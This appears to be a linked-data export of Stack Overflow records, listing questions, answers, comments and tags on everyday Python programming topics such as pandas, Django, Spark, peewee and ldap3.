has text: I believe this is what OP was trying to do, he really needs to update the question to be more specific.

http://stackoverflow.com/comment/84463244
comment on: http://stackoverflow.com/q/48730129
type: Comment
score: 0
has text: Recreate the virtualenv and reinstall Python packages.
type: QuestionComment

http://stackoverflow.com/a/50027572
score: 0
type: Answer
has body: From: https://www.idiap.ch/software/bob/install Bob does not work on Windows and hence no conda packages are available for it. It will not work even if you install it from source. If you are an experienced user and manage to make Bob work on Windows, please let us know through our mailing list. There is already some effort to make Bob work on Windows: https://github.com/bioidiap/bob.extension/pull/1 https://github.com/bioidiap/bob.blitz/pull/1 https://github.com/bioidiap/bob.core/pull/1 If you are interested and experienced, you can contribute.
answers question: http://stackoverflow.com/q/48663397

http://stackoverflow.com/q/48733120
tagged with: peewee
answer count: 1
favorite count: 0
tagged with: datetime
tagged with: python
tagged with: unix-timestamp
score: 2
has body: Question regarding the use of TimestampField in PeeWee using Python 3.6. My model contains the following attribute: timestamp= peewee.TimestampField(utc=True) I store a timestamp as follows: obj = TestObject(timestamp = Decimal(UnixtimestampString)) obj.save() print(type(TestObject.get().timestamp)) Output: Type: &lt;class 'datetime.datetime'&gt; Is this normal behavior? I would like to retrieve the timestamp as Decimal (the way I put it in). Obviously I can convert it, but I was wondering why one would use TimestampField instead of DateTimeField when both return a DateTime object. Is the only difference, the way the data is entered? (As a DateTime object in case of DateTimeField vs unix timestamp in Integer/Decimal for the TimestampField.)
downvote count: 0
type: UnansweredQuestion
has title: PeeWee TimestampField retrieved as DateTime
type: Question
upvote count: 2
has answer: http://stackoverflow.com/a/48734497

http://stackoverflow.com/comment/84476194
type: QuestionComment
has text: the bash script runs, I see output in the log... when I take out the import class in the python file the script executes and I can see the first print statement, obviously the rest fails because its dependent on that import. When I leave the import statement there I get no output from the python script, no errors anywhere... just dies.
comment on: http://stackoverflow.com/q/48738186
score: 0
type: Comment

http://stackoverflow.com/a/48677357
score: 2
downvote count: 0
upvote count: 2
type: Answer
answers question: http://stackoverflow.com/q/48677248
has body: The best way is probably to parse the query into some kind of syntax tree. Because it's pretty simple, you could probably write the parser yourself. You could also use something like pyparsing to handle that for you. Using a regular expression would probably be pretty painful -- they aren't context-sensitive, so you'll pretty quickly end up in this situation.

http://stackoverflow.com/a/48740115
has comment: http://stackoverflow.com/comment/84480131
answers question: http://stackoverflow.com/q/48739752
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84480865
accepted answer of: http://stackoverflow.com/q/48739752
upvote count: 23
has comment: http://stackoverflow.com/comment/137318856
type: Answer
downvote count: 0
has body: You cannot apply a new schema to already created dataframe. However, you can change the schema of each column by casting to another datatype as below. df.withColumn("column_name", $"column_name".cast("new_datatype")) If you need to apply a new schema, you need to convert to RDD and create a new dataframe again as below df = sqlContext.sql("SELECT * FROM people_json") val newDF = spark.createDataFrame(df.rdd, schema=schema) Hope this helps!
score: 23

http://stackoverflow.com/comment/84582229
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48790055
has text: But you are probably looking for [`ArgumentParser.parse_known_args`](https://docs.python.org/2/library/argparse.html#partial-parsing).

http://stackoverflow.com/q/48710040
type: Question
has answer: http://stackoverflow.com/a/48710550
accepted answer: http://stackoverflow.com/a/48710550
has body: I think I've done this before a while back, but I can't reproduce the code I've written back then and I'm totally facing a blank. I'm using Python and Pandas to merge, concat, melt and pivot several datasets together into one big dataset. In the end, I've got a fairly large data set that resides in a pivot table like this: feature a b c id 1 1.0 NaN NaN 2 2.0 NaN NaN 3 NaN 3.0 NaN 4 NaN NaN 4.0 6 NaN NaN 5.0 Cleaning, concat, melting and pivoting the original dataset to the resulting pivot table (as shown in the example above) takes a lot of time. (5 to 10 minutes) I'd like to write this pivot table directly to a file and load it back into a pivot table the way I saved it, preserving all the headers, indexes. Since it would save me a lot of time. I've tried to use writing and reading this table using to_csv and from_csv, form_table with no success. When I load with from_csv or from_table, I end up with results like this: a b c id 1 1.0 NaN NaN 2 2.0 NaN NaN 3 NaN 3.0 NaN 4 NaN NaN 4.0 6 NaN NaN 5.0 or this: feature a b c id 1 1.0 NaN NaN NaN 2 2.0 NaN NaN NaN 3 NaN 3.0 NaN NaN 4 NaN NaN 4.0 NaN 6 NaN NaN 5.0 NaN What would be the correct (or quickest) approach to solve this problem?
answer count: 1
score: 0
tagged with: pandas
tagged with: python
type: AnsweredQuestion
has title: Read and writing pandas pivot table to file

http://stackoverflow.com/comment/84515722
has text: Do you mean to have one filter on left half of the image and the other on the right?
comment on: http://stackoverflow.com/q/48757325
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84448763
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48724304
has text: You should always post the complete Traceback.
score: 0

http://stackoverflow.com/comment/84437151
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48718650
has text: Or even better, use PhantomJS
type: AnswerComment

http://stackoverflow.com/q/48697919
has comment: http://stackoverflow.com/comment/84397288
has title: Unable to execute C Program executable using SSH Library (from Robot Framework)
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84394918
tagged with: python
has comment: http://stackoverflow.com/comment/84411224
answer count: 0
type: Question
has body: I am trying to use Robot Framework to SSH into a remote machine and execute a C program/executable. But it appears that ROBOT is not executing this program. However, the SHH connection seems to be successful and it is able to find the script to execute. echo "Starting Server Process" // This statement is printed. ./helloworld // infinite loop program. Doesn't run (checked ps output echo "Completed server program" // also printed. Is there any known issue where ROBOT is unable to execute C/C++ programs using the SSH library ? I would be grateful if someone could share any insight on this -Tej Editing the main message Starting up Exchange process on server. ${retval}= Start Command ./server.sh BuiltIn.Sleep 30s ${output}= Read Command Output BuiltIn.Log To Console Output from server ${output} Should Contain ${output} Exchange server started The issue here is that, 1) SSH works fine, because the echo statements are printed from the script 2) The 30 sec sleep is for me to check "ps -aef" output on the server machine to see if the process is started. (it is not) ~ ~
tagged with: robotframework
score: 0
has comment: http://stackoverflow.com/comment/84421535

http://stackoverflow.com/q/48755289
favorite count: 0
tagged with: console
tagged with: model
has title: Can't import the class of models from the python console in pycharm
tagged with: python
has comment: http://stackoverflow.com/comment/84511756
type: UnansweredQuestion
downvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48755424
score: -1
tagged with: class
has body: Find the following error showed in "Traceback (most recent call last): File "&lt;input&gt;", line 1, in &lt;module&gt; ImportError: cannot import name 'Employee'"
upvote count: 0
answer count: 1

http://stackoverflow.com/comment/84542331
comment on: http://stackoverflow.com/q/48770568
type: Comment
type: QuestionComment
score: 2
has text: I would guess "FooBar" or "foobar"

http://stackoverflow.com/comment/84451044
type: Comment
comment on: http://stackoverflow.com/a/48724904
score: 0
type: AnswerComment
has text: i tried kernel = np.ones((4, 1), np.uint8) img = cv2.dilate(img, kernel, iterations=1) img = cv2.erode(img, kernel, iterations=1) these option line remove but text also little remove look like these image https://ibb.co/bzE0RS

http://stackoverflow.com/comment/84588062
score: 0
comment on: http://stackoverflow.com/a/48792907
type: AnswerComment
has text: Oo, thank you! Before I put these lines after button (befor mainloop), but it didn't work. Then I just put it at the end and it works
type: Comment

http://stackoverflow.com/comment/95873667
score: 0
type: AnswerComment
has text: This does not address the finer issues of modules that have certain C bindings. While the article references numpy (one of those special libraries), it does not deal with the ImportError OP is experiencing.
comment on: http://stackoverflow.com/a/48997214
type: Comment

http://stackoverflow.com/a/48799350
has comment: http://stackoverflow.com/comment/84601488
has comment: http://stackoverflow.com/comment/84601730
accepted answer of: http://stackoverflow.com/q/48799231
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84601866
type: Answer
score: 11
upvote count: 11
answers question: http://stackoverflow.com/q/48799231
has body: len(test) is 16 but the distance between last element and first element is 1 less, that is, d=16-1=15-0=15. Therefore, index of 85th percentile is d*0.85 = 15*0.85 = 12.75. test[12] = 21 and test[13] = 23. Therefore, using linear interpolation for the fractional part, we get: 21 + 0.75 * (23 - 21) = 22.5. The correct answer is 22.5. From the Notes section of the documentation of numpy.percentile(): Given a vector V of length N, the q-th percentile of V is the value q/100 of the way from the mimumum to the maximum in in a sorted copy of V. The key here is, in my opinion, "the way from the minimum to the maximum". Let's say we number elements from 1 to 16. Then the "position" of the first element is 1 and the "position" (along the "coordinate axis of indices") of the last element in test is 16. Therefore the distance between them is 16-1=15.

http://stackoverflow.com/comment/84318208
comment on: http://stackoverflow.com/q/48659214
score: 0
type: QuestionComment
type: Comment
has text: The usual behaviour of the code shown is indeed that it prints "After" after you close the plot. If that does not work for you, and you want help with that provide all necessary information about how and where you run this code. Also a screenshot might help. See [mcve].

http://stackoverflow.com/comment/84374672
comment on: http://stackoverflow.com/q/48688347
score: 0
type: Comment
type: QuestionComment
has text: You will not be able to use python for this. You would need to use Javascript as it will run in the browser and when the button pops up, you can target it and action a click event

http://stackoverflow.com/q/48773712
tagged with: python-3.x
has body: I'm trying to calculate Net run rate for the list containing dictionaries suppose if list is score = [{'dismissal': 'run out (Hardik Pandya)', 'balls': '92', 'name': 'Amla', 'fours': '5', 'six': '0', 'runs': '71'}, {'dismissal': 'c Kohli b Bumrah', 'balls': '32', 'name': 'Markram(c)', 'fours': '4', 'six': '1', 'runs': '32'}, {'dismissal': 'c Rohit b Hardik Pandya', 'balls': '5', 'name': 'Duminy', 'fours': '0', 'six': '0', 'runs': '1'}..........] I'm trying to calculate NRR for these valuese which are dynamic they keep changing, I tried using enumerate but I can't figure out how to proceed further dic= {k+str(i): v for i, x in enumerate(score, 1) for k, v in x.items()} this will add indexes to the key of a dictionary how can I proceed after this, is there any other way its possible to achieve this? By the way, to calculate NRR formula is = (runs/balls)*100, any assistance will be helpful. expecting to get like this dic = [{'dismissal1': 'run out (Hardik Pandya)', 'balls1': '92', 'name1': 'Amla', 'fours1': '5', 'six1': '0', 'runs1': '71','NRR1':'19.3'}, {'dismissal2': 'c Kohli b Bumrah', 'balls2': '32', 'name2': 'Markram(c)', 'fours2': '4', 'six2': '1', 'runs2': '32','NRR2':'44.3'}, {'dismissal3': 'c Rohit b Hardik Pandya', 'balls3': '5', 'name3': 'Duminy', 'fours3': '0', 'six3': '0', 'runs3': '1','NRR3':'45.3'}..........]
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84549563
has comment: http://stackoverflow.com/comment/84712220
tagged with: python
tagged with: enumerate
has comment: http://stackoverflow.com/comment/84549349
type: Question
score: 0
has title: How to calculate NRR from the list of dictionaries?

http://stackoverflow.com/a/48754029
score: 14
has comment: http://stackoverflow.com/comment/84509650
answers question: http://stackoverflow.com/q/48753967
has comment: http://stackoverflow.com/comment/84509626
has body: Override the _eq_ function of Something. def __eq__(self, other): if isinstance(self, other.__class__): return self.a == other.a and self.b == other.b return False Also. assert obj1 == obj2 is actually a two-part statement. first is the expression obj1 == obj2, which calls obj1._eq_(obj2) and returns a boolean, the second asserts that boolean for truth.
has comment: http://stackoverflow.com/comment/84508929
has comment: http://stackoverflow.com/comment/84509481
has comment: http://stackoverflow.com/comment/84508928
has comment: http://stackoverflow.com/comment/84509537
type: AcceptedAnswer
downvote count: 1
has comment: http://stackoverflow.com/comment/84509018
type: Answer
accepted answer of: http://stackoverflow.com/q/48753967
upvote count: 15
has comment: http://stackoverflow.com/comment/84508872

http://stackoverflow.com/a/48727614
score: 2
upvote count: 2
has body: Kivy's pygame support is long deprecated, although it probably still does work. Instead you should use SDL2 - this should be done automatically if you follow the Kivy install instructions.
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48725481

http://stackoverflow.com/a/48795039
type: Answer
has body: By using pandas library and some coding I was able to get a decent solution Initialize ... df = pd.DataFrame(columns=['start','end','seq','record','len','ir_1','ir_2']) Add ... with l_lock: new_element = [ir_start, ir_end,ir_seq, record.id, ir_len, seq_q, seq_q_prime] df.loc[len(df)] = new_element Delete dups ... for idx, row in df.iterrows(): res = df[(df.index != idx) &amp; (df.start &gt;= row.start) &amp; (df.end &lt;= row.end)] df.drop(res.index,inplace=True) As suggested in some comments, interval tree was also a possible solution but I could not get it work
answers question: http://stackoverflow.com/q/48793252
score: 0

http://stackoverflow.com/q/48707261
has answer: http://stackoverflow.com/a/48710361
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84413159
has comment: http://stackoverflow.com/comment/84413529
tagged with: django-models
score: -1
has body: I use django 1.11 and I have a book model: class Book(models.Model): user_borrowed = models.ForeignKey(User, null=True) name = models.CharField(max_length=100) description = models.TextField() author = models.CharField(max_length=30) isbn = models.CharField(max_length=80) def borrow_book(self, user): if self.user_borrowed is not None: return False self.user_borrowed = user self.save() def return_book(self): self.user_borrowed = None self.save() it's like a library system. all I want to do is to know which users borrowed a special book. in fact all users. for example I want to get this result: [ { "username": "user_name_1", "date": "2018-02-08T14:13:22.142497"}, ] this means that user_name_1 borrowed this book at the above time. so how to do this ? thank you.
upvote count: 0
accepted answer: http://stackoverflow.com/a/48710361
answer count: 1
has comment: http://stackoverflow.com/comment/84413207
favorite count: 0
tagged with: django
tagged with: python
type: AnsweredQuestion
has title: how to get history of an object in django?
has comment: http://stackoverflow.com/comment/84413197

http://stackoverflow.com/comment/84455969
comment on: http://stackoverflow.com/a/48728397
type: AnswerComment
type: Comment
has text: Thank you for your help. Finally I noticed that I should use "path('account/',include('account.urls')" . Your reply is helpful to me as well.
score: 1

http://stackoverflow.com/comment/84372680
comment on: http://stackoverflow.com/q/48686753
score: 0
type: Comment
type: QuestionComment
has text: tmp is an object of type Vector, and I don't have any indentation errors, because indentation may have changed when I copied my code here.

http://stackoverflow.com/comment/84896139
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48784257
has text: @oren Did you manage to sort it out?
score: 0

http://stackoverflow.com/comment/84302596
comment on: http://stackoverflow.com/q/48652224
score: 0
type: QuestionComment
has text: I checked the case to add to path, and even then it still wasnt showing the right version
type: Comment

http://stackoverflow.com/a/48663694
downvote count: 0
score: 1
has body: One way is to use pandas: import pandas as pd pd.to_datetime('2018-02-06T14:45:03.0040554Z').to_pydatetime() '2018-02-06 14:45:03.004055'
answers question: http://stackoverflow.com/q/48663280
upvote count: 1
type: Answer

http://stackoverflow.com/comment/108790055
comment on: http://stackoverflow.com/a/61499059
has text: I'm suprised. I get `2.1.0`. Is there maybe a `--pre` in a _pip_ configuration file somewhere?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/48705377
has comment: http://stackoverflow.com/comment/84409789
upvote count: 3
has body: I think solution 1 is more efficient than solution 2, Because it have only one loop. I think you can try the below code may be it is lil more efficient than solution 1 l = [[100, 1], [43, 2], [201, 1], [5, 7]] d = {} for k, v in l: d.setdefault(v, []).append(k) print(d) it gives o/p like this : {1: [100, 201], 2: [43], 7: [5]}
type: Answer
score: 3
downvote count: 0
answers question: http://stackoverflow.com/q/48705143
has comment: http://stackoverflow.com/comment/84409914

http://stackoverflow.com/comment/109734301
type: Comment
comment on: http://stackoverflow.com/a/48739431
score: 3
has text: @SOK you can set it as index , like df.set_index('date')['col1').cumsum().plot()
type: AnswerComment

http://stackoverflow.com/tag/r
tags question: http://stackoverflow.com/q/48658276
tags question: http://stackoverflow.com/q/48688674
tags question: http://stackoverflow.com/q/48799993
tags question: http://stackoverflow.com/q/48759007
tags question: http://stackoverflow.com/q/48671052
tags question: http://stackoverflow.com/q/48674061
tags question: http://stackoverflow.com/q/48796097
tags question: http://stackoverflow.com/q/48685478
tags question: http://stackoverflow.com/q/48739118
tags question: http://stackoverflow.com/q/48671935
tags question: http://stackoverflow.com/q/48770975
tags question: http://stackoverflow.com/q/48754226
tag name: r
tags question: http://stackoverflow.com/q/48668884
tags question: http://stackoverflow.com/q/48696315
type: Tag
tags question: http://stackoverflow.com/q/48682305
tags question: http://stackoverflow.com/q/48709893
tags question: http://stackoverflow.com/q/48698223
tags question: http://stackoverflow.com/q/48682407

http://stackoverflow.com/q/48736258
type: Question
has answer: http://stackoverflow.com/a/48737259
has title: Python printing a key once from a dictionary within a function
score: 0
has comment: http://stackoverflow.com/comment/84473196
answer count: 1
has body: I want to print a key once from a dictionary and I'm trying to have my output look like this. There are two keys, Instructors and Students. I don't want to print 'Students' for every item in the list, just once like this output. I'm also trying to make the function generic. Here's the output. Students 1 - MICHAEL JORDAN - 13 2 - JOHN ROSALES - 11 3 - MARK GUILLEN - 11 4 - KB TONEL - 7 Instructors 1 - MICHAEL CHOI - 11 2 - MARTIN PURYEAR - 13 users = { 'Students': [ {'first_name': 'Michael', 'last_name' : 'Jordan'}, {'first_name' : 'John', 'last_name' : 'Rosales'}, {'first_name' : 'Mark', 'last_name' : 'Guillen'}, {'first_name' : 'KB', 'last_name' : 'Tonel'} ], 'Instructors': [ {'first_name' : 'Michael', 'last_name' : 'Choi'}, {'first_name' : 'Martin', 'last_name' : 'Puryear'} ] } def school(a): if a == users['Students']: room = "Students" else: room = "Instructors" list_number = 1 num = 0 for i in a: fullname = i ['first_name'] + " " + i['last_name'] while list_number &lt;= (len(a)): num +=1 break letter_count = len(fullname) - fullname.count(" ") print room print num, "-", fullname,"-", letter_count school(users['Students']) school(users['Instructors'])
tagged with: python
has comment: http://stackoverflow.com/comment/84473128
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48737259
has comment: http://stackoverflow.com/comment/84471933

http://stackoverflow.com/a/49232208
score: 2
has body: Since you have converted your categorical features into dummies using pd.get_dummies, so you don't need to use OneHotEncoder. As a result, your pipeline should be: from sklearn.preprocessing import StandardScaler,FunctionTransformer from sklearn.pipeline import Pipeline,FeatureUnion knn=KNeighborsClassifier() pipeline=Pipeline(steps= [ ('feature_processing', FeatureUnion(transformer_list = [ ('categorical', FunctionTransformer(lambda data: data[:, cat_indices])), #numeric ('numeric', Pipeline(steps = [ ('select', FunctionTransformer(lambda data: data[:, num_indices])), ('scale', StandardScaler()) ])) ])), ('clf', knn) ] )
downvote count: 0
upvote count: 2
answers question: http://stackoverflow.com/q/48673402
type: Answer

http://stackoverflow.com/comment/84536619
type: Comment
score: 1
comment on: http://stackoverflow.com/q/48767852
has text: You need more reding through the documentation. Most of the time we have everything we need in it. http://aiohttp.readthedocs.io/en/stable/web_quickstart.html#file-uploads
type: QuestionComment

http://stackoverflow.com/comment/84329143
score: 0
type: Comment
type: QuestionComment
has text: i didnt know what is the format of response,I want to use **VoiceBase** API to convert this format response to text.
comment on: http://stackoverflow.com/q/48665147

http://stackoverflow.com/comment/84570704
score: 0
type: QuestionComment
has text: Put all list of fields into `values` exclude is not for selector it is for filter.
type: Comment
comment on: http://stackoverflow.com/q/48784664

http://stackoverflow.com/q/48708195
tagged with: elasticsearch
tagged with: python
has body: I have installed elasticsearch2.1.1 in my windows machine and i have an elasticsearch index which is hosted in my machine locally as i am trying to understand it better. Name of the index is library. Below is how it looks like. I am trying to delete the existing index using python library elasticsearch and below is the code to do so. from elasticsearch import Elasticsearch es = Elasticsearch('localhost:9200') if es.indices.exists(index='library'): es.delete('library') When i execute this code, i end up getting below error. --------------------------------------------------------------------------- TransportError Traceback (most recent call last) &lt;ipython-input-22-2a4b3642a164&gt; in &lt;module&gt;() 1 from elasticsearch import Elasticsearch 2 es = Elasticsearch('localhost:9200') ----&gt; 3 if es.indices.exists(index='library'): 4 es.delete('library') c:\python27\lib\site-packages\elasticsearch\client\utils.pyc in _wrapped(*args, **kwargs) 71 if p in kwargs: 72 params[p] = kwargs.pop(p) ---&gt; 73 return func(*args, params=params, **kwargs) 74 return _wrapped 75 return _wrapper c:\python27\lib\site-packages\elasticsearch\client\indices.pyc in exists(self, index, params) 222 raise ValueError("Empty value passed for a required argument 'index'.") 223 return self.transport.perform_request('HEAD', _make_path(index), --&gt; 224 params=params) 225 226 @query_params('allow_no_indices', 'expand_wildcards', 'ignore_unavailable', c:\python27\lib\site-packages\elasticsearch\transport.pyc in perform_request(self, method, url, params, body) 310 311 try: --&gt; 312 status, headers, data = connection.perform_request(method, url, params, body, ignore=ignore, timeout=timeout) 313 314 except TransportError as e: c:\python27\lib\site-packages\elasticsearch\connection\http_urllib3.pyc in perform_request(self, method, url, params, body, timeout, ignore) 126 if not (200 &lt;= response.status &lt; 300) and response.status not in ignore: 127 self.log_request_fail(method, full_url, url, b…
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48708392
accepted answer: http://stackoverflow.com/a/48708392
type: Question
score: 0
answer count: 1
has title: TransportError while deleting elasticsearch index by Python script

http://stackoverflow.com/q/48747003
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48747107
has comment: http://stackoverflow.com/comment/84493752
has body: Lets say I am trying to find a spesific string in a txt file in python and I want to get that line how do I do it?
downvote count: 7
type: Question
has title: Finding a spesific string and getting its line in PYTHON 3.X
duplicate of: http://stackoverflow.com/q/35750174
has answer: http://stackoverflow.com/a/48747107
upvote count: 0
score: -7
answer count: 1
linked to: http://stackoverflow.com/q/35750174
favorite count: 0
tagged with: python-3.x
tagged with: python

http://stackoverflow.com/comment/84522958
score: 0
type: QuestionComment
has text: Please elaborate your question more.
type: Comment
comment on: http://stackoverflow.com/q/48761172

http://stackoverflow.com/comment/84493564
comment on: http://stackoverflow.com/q/48746369
has text: OK I add some lines for example.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48735310
tagged with: python
type: AnsweredQuestion
tagged with: dataframe
has title: Python: Rearrange categorical dataframe
accepted answer: http://stackoverflow.com/a/48735371
type: Question
has body: I have a data frame looking like this: Subject Student ID Math 304 Math 506 ... ... History 304 History 402 ... ... English 506 English 402 A subject can have several students, but every student has two subjects only. I want to rearrange the data frame in a way that it looks like this, where the subject order does not matter: Student ID Subject1 Subject2 304 Math History 506 Math English 402 History English I tried already pivot_values, but it requires a value field. Any idea? Thank you
answer count: 1
score: 0
tagged with: categorical-data
tagged with: pandas
linked to: http://stackoverflow.com/q/32966004
has answer: http://stackoverflow.com/a/48735371
duplicate of: http://stackoverflow.com/q/32966004

http://stackoverflow.com/comment/84437307
score: 0
type: AnswerComment
has text: Thank you! Is there an equivalent for python 3.x? I get an error here except subprocess.CalledProcessError as e: invalid syntax.
type: Comment
comment on: http://stackoverflow.com/a/48719105

numbers
tags question: http://stackoverflow.com/q/48712218
tags question: http://stackoverflow.com/q/48699343
tags question: http://stackoverflow.com/q/48728270
tags question: http://stackoverflow.com/q/48677879
tags question: http://stackoverflow.com/q/48780225
tags question: http://stackoverflow.com/q/48769342
tags question: http://stackoverflow.com/q/48794269
type: Tag
tag name: numbers

http://stackoverflow.com/q/48736714
has comment: http://stackoverflow.com/comment/84544509
tagged with: python
tagged with: python-requests
has title: request.environ.get for getting visitors IP on reverse proxy.
has comment: http://stackoverflow.com/comment/84622974
type: Question
linked to: http://stackoverflow.com/q/40376668
has comment: http://stackoverflow.com/comment/84515725
tagged with: flask
score: 0
has body: I tried the solution here on Python, Flask client ip address. Everything works fine on the HTML side. But if I put this on python code (my app.py file) it shows different IPs. On my App.py ip_add = request.environ.get('HTTP_X_REAL_IP', request.remote_addr) #shows ip on amazon. idk what I am doing wrong On my index.html {{request.environ.get('HTTP_X_REAL_IP', request.remote_addr)}} #this works fine Im running it on pythonanywhere by the way. Thanks and good day!
tagged with: pythonanywhere
has comment: http://stackoverflow.com/comment/84500318
has comment: http://stackoverflow.com/comment/84473821
has comment: http://stackoverflow.com/comment/84472977
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/84291398
type: AnswerComment
comment on: http://stackoverflow.com/a/48646811
score: 0
type: Comment
has text: @Aleksandar You can also use the module `Pmw`, it has a widget `ScrolledFrame`

http://stackoverflow.com/q/48763228
tagged with: python
score: 2
type: AnsweredQuestion
upvote count: 2
has answer: http://stackoverflow.com/a/48766245
type: Question
has body: I'm using ldap3 to create a user account in Active Directory (Win 2012R2) with python script. The only one attribute I can't set is "User must change password at next logon". Could you suggest a way to get this checkbox marked right after using creation? I tried to change UserAccountControl and pwdLastSet attributes but no luck( -1 is the only one valid parameter password_expire = {"pwdLastSet": (MODIFY_REPLACE, [-1])} connect.modify(dn=user_dn, changes=password_expire) PASSWORD_EXPIRED 0x800000 8388608 password_expire = {"UserAccountControl": (MODIFY_REPLACE, [8388608])} connect.modify(dn=user_dn, changes=password_expire)
tagged with: active-directory
has title: How to force user to change password at next logon with ldap3 python module?
tagged with: ldap3
accepted answer: http://stackoverflow.com/a/48766245
downvote count: 0
answer count: 1
favorite count: 0
tagged with: python-3.x
tagged with: scripting

http://stackoverflow.com/comment/84585444
type: Comment
type: QuestionComment
has text: Output should replace date ("") with some date. Like output = " this is date 30-06-2016 "
comment on: http://stackoverflow.com/q/48791132
score: 0

http://stackoverflow.com/q/48648927
has body: I am solving a minimization linear program using COIN-OR's CLP solver with PULP in Python. The variables that are included in the problem are a subset of the total number of possible variables and sometimes my pricing heuristic will pick a subset of variables that result in an infeasible solution. After which I use shadow prices to price new variables in. My question is, if the problem is infeasible, I still get values from calling prob.constraints[c].pi, but those values don't always seem to be "valid" or "good" per se. Now, a solver like Gurobi won't even let me call the shadow prices after an infeasible solve.
tagged with: pulp
tagged with: coin-or-cbc
type: Question
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84344464
has answer: http://stackoverflow.com/a/48711131
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84374000
has title: Are shadow prices valid after an infeasible solve from COIN using PULP

http://stackoverflow.com/a/48929069
has comment: http://stackoverflow.com/comment/85098656
downvote count: 0
has comment: http://stackoverflow.com/comment/85106786
has comment: http://stackoverflow.com/comment/85110655
has comment: http://stackoverflow.com/comment/85097302
has comment: http://stackoverflow.com/comment/85106870
has comment: http://stackoverflow.com/comment/85097936
has comment: http://stackoverflow.com/comment/85098808
has comment: http://stackoverflow.com/comment/85095351
has comment: http://stackoverflow.com/comment/85095250
score: 5
has comment: http://stackoverflow.com/comment/85097893
upvote count: 5
answers question: http://stackoverflow.com/q/48745169
type: Answer
has body: The goal is to find the last n keys with the least counts Given this goal's definition neither of your two solutions fit. In one with Counter you use dict which will make the order of keys undefined and you will not get the last keys, but some n keys with least value. The second solution has incorrect slicing, and if it's fixed it returns first n keys with least value. Taking into account that sorted implementation is stable it can be rewritten like this to fit the goal: def author_2(): output, *_ = zip(*sorted(reversed(l), key=lambda v: v[1])[:n]) return list(reversed(output)) But it's a better idea to use heapq, which is the stdlib tool for questions like "n smallest/greatest values from an iterable" (as Martijn Pieters pointed out, nlargest and nsmallest are also stable and the docs really say that, but in implicit way). Especially if the real list you have to deal with is big (for small n it should be faster that sorted as docs describe). def prop_1(): rev_result = heapq.nsmallest(n, reversed(l), key=lambda v: v[1]) return [item[0] for item in rev_result][::-1] You can improve performance even further, but at the cost of order (sorting stability), i.e. some n keys with least value instead of last n keys with least value. To do that you need to keep a "heapified" list and use it as your internal data structure instead of plain list (if you don't change the list and need the bottom-n only once, it will not give a performance benefit). You can push and pop from the list, for example: _p2_heap = None def prop_2(): global _p2_heap if not _p2_heap: _p2_heap = [] for item in l: heapq.heappush(_p2_heap, item[::-1]) return [item[1] for item in heapq.nsmallest(n, _p2_heap)] Here's the complete module you can use to benchmark the solutions. import heapq from collections import Counter l = [ ('herr', 1), ('dapao', 1), ('cino', 1), ('o', 38), ('tiao', 2), ('tut', 1), ('poh', 6), ('micheal', 1), ('orh', 1), ('horlick', 3), ('si', 1), ('tai', 1), ('titlo', 1), ('siew', 17), ('…
has comment: http://stackoverflow.com/comment/85098006
has comment: http://stackoverflow.com/comment/85098063
has comment: http://stackoverflow.com/comment/85099271

http://stackoverflow.com/a/48655451
answers question: http://stackoverflow.com/q/48654600
downvote count: 0
type: Answer
has body: I have only been doing this for a month, but I have mainly had to work with and learn .json and .xlsx, since that is mostly what I need python for. The main one I use and prefer is Tablib. I use Openpyxl when I need more features working on excel. http://docs.python-tablib.org/en/master/api/ data = tablib.Dataset(headers=('Store', 'Address', 'User', 'Rating')) There a few ways to get the data into tablib, I prefer the below method, as it will also work with Databooks(multiple datasets). import tablib import_filename = 'jsondatafile.json' data.json = open(import_filename, 'r').read() To convert it to xlsx or csv: print(data.xlsx) print(data.csv) To write it to a file: data_export = data.export('xlsx') with open('C:/file.xlsx', 'wb') as f: # open the xlsx file f.write(data_export) # write the dataset to the xlsx file f.close() It is quite amazing what Tablib can do, check out their API or getting Quickstart guides.
upvote count: 3
score: 3

http://stackoverflow.com/q/48760129
tagged with: pandas
has title: I'm scraping a FAQ pages and I need to find which tag has answers in FAQ pages
answer count: 1
favorite count: 0
tagged with: beautifulsoup
type: UnansweredQuestion
tagged with: python
has body: import requests from bs4 import BeautifulSoup import numpy as np import pandas as pd import re req = requests.get('https://www.godrejproperties.com/nricorner/nri-faqs') soup = BeautifulSoup(req.text, "html5lib") ist1=[] for elem in soup(text=re.compile(r'\s*((?:how|How|Can|can|what|What|where|Where|describe|Describe|Who|who|When|when|Why|why|Should|should|is|Is|I|Do|do|Are|are|Will|will)[^.&lt;&gt;?]*?\s*\?)')): print elem.parent list1.append(elem.parent) x=str(list1[1]) tag=x[x.find("&lt;")+1:x.find("&gt;")] print tag Ques = [] for header in soup.find_all(tag): list_=[header] ffff=re.findall(r'\s*((?:how|How|Can|can|what|What|where|Where|describe|Describe|Who|who|When|when|Why|why|Should|should|is|Is|I|Do|do|Are|are|Will|will)[^.&lt;&gt;?]*?\s*\?)',str(list_)) #print(ffff) #print (len(ffff)) if len(ffff)&gt;0: Ques.append(ffff) Ques = np.array(Ques) print(Ques) Similarly I need to find the answers in FAQ pages I need to create a algorithm which will capture in which tag answer is contained and get it's content and save it in a list. Later I need question and answer as a pair
tagged with: web-scraping
upvote count: 1
downvote count: 1
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/48760245
score: 0

http://stackoverflow.com/q/48683873
answer count: 1
favorite count: 0
downvote count: 2
has answer: http://stackoverflow.com/a/48686092
